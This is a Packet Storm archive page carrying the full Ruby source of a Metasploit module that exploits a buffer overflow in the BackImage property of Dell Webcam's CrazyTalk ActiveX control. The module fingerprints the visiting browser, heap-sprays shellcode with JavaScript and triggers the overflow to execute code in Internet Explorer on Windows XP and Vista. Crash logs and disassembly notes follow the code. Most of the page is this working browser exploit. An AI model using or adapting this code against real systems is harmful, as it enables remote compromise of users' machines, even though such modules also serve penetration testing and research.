what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Dell Webcam CrazyTalk ActiveX BackImage Vulnerability

Dell Webcam CrazyTalk ActiveX BackImage Vulnerability
Posted Mar 22, 2012
Authored by rgod, sinn3r | Site metasploit.com

This Metasploit module exploits a vulnerability in Dell Webcam's CrazyTalk component. Specifically, when supplying a long string for a file path to the BackImage property, an overflow may occur after checking certain file extension names, resulting in remote code execution under the context of the user.

tags | exploit, remote, overflow, code execution
advisories | OSVDB-80205
SHA-256 | c9f9dfe042de7f5d659677f6a10aa38d77f8bd3e8e047325d2dceb11e6f8874c

Dell Webcam CrazyTalk ActiveX BackImage Vulnerability

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})
super(update_info(info,
'Name' => "Dell Webcam CrazyTalk ActiveX BackImage Vulnerability",
'Description' => %q{
This module exploits a vulnerability in Dell Webcam's CrazyTalk component.
Specifically, when supplying a long string for a file path to the BackImage
property, an overflow may occur after checking certain file extension names,
resulting in remote code execution under the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rgod', #Discovery, PoC
'sinn3r' #Metasploit
],
'References' =>
[
[ 'URL', 'http://www.dell.com/support/drivers/us/en/04/DriverDetails/DriverFileFormats?c=us&l=en&s=bsd&cs=04&DriverId=R230103' ],
[ 'URL', 'http://www.exploit-db.com/exploits/18621/' ],
[ 'OSVDB', 80205]
],
'Payload' =>
{
'BadChars' => "\x00",
'StackAdjustment' => -3500
},
'DefaultOptions' =>
{
'ExitFunction' => "seh",
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3', { 'Offset' => '0x600'} ],
[ 'IE 7 on Windows XP SP3', { 'Offset' => '0x600'} ],
[ 'IE 7 on Windows Vista', { 'Offset' => '0x600'} ]
],
'Privileged' => false,
'DisclosureDate' => "Mar 19 2012",
'DefaultTarget' => 0))
end

def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'

if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1] #IE 6 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows XP SP3
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
return targets[3] #IE 7 on Windows Vista
else
return nil
end
end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)

# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
send_not_found(cli)
return
end

print_status("#{cli.peerhost}:#{cli.peerport} - Target set: #{my_target.name}")

p = payload.encoded
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

js = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
JS

js = heaplib(js, {:noobfu => true})

html = <<-EOS
<html>
<head>
<script>
#{js}
</script>
</head>
<body>
<object classid='clsid:13149882-F480-4F6B-8C6A-0764F75B99ED' id='target'></object>
<script>
var arg = "\x0c";
while (arg.length < 2000) arg += arg;
target.BackImage = arg.substring(0, 2000);
</script>
</html>
EOS

print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})

end

end

=begin
The tmp path has the username that we cannot accurately control remotely, so there's
no point to try to overwrite the stack precisely.

targetFile = "C:\PROGRA~1\COMMON~1\REALLU~1\CTPLAY~1\CRAZYT~1.OCX"
prototype = "Invoke_Unknown BackImage As String"
memberName = "BackImage"
progid = "CRAZYTALK4Lib.CrazyTalk4"
argCount = 1

(d4c.d9c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=10005970 ecx=0000b3a0 edx=020bf34f esi=03422f98 edi=020bf5ac
eip=41414141 esp=020bf33c ebp=020bf390 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
<Unloaded_Ed20.dll>+0x41414140:
41414141 ?? ???

======

.text:03854F59 lea ecx, [esp+33Ch+Str1]
.text:03854F5D push offset a_asp ; ".asp"
.text:03854F62 push ecx ; Str1
.text:03854F63 mov [esp+344h+var_308], 0
.text:03854F68 call ebx ; _stricmp <-- Nope

.text:03854F71 lea edx, [esp+328h+Str1]
.text:03854F75 push offset a_php ; ".php"
.text:03854F7A push edx ; Str1
.text:03854F7B call ebx ; _stricmp <--- Still nope

.text:03854F84 mov ebx, [esp+328h+Dest]
.text:03854F8B lea eax, [esp+328h+Str1]
.text:03854F8F lea ecx, [esp+328h+Filename]
.text:03854F96 push eax
.text:03854F97 add esi, 3B44h
.text:03854F9D push ecx
.text:03854F9E push esi
.text:03854F9F push offset aSSS ; "%s%s%s"
.text:03854FA4 push ebx ; Dest
.text:03854FA5 call ds:sprintf
=end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close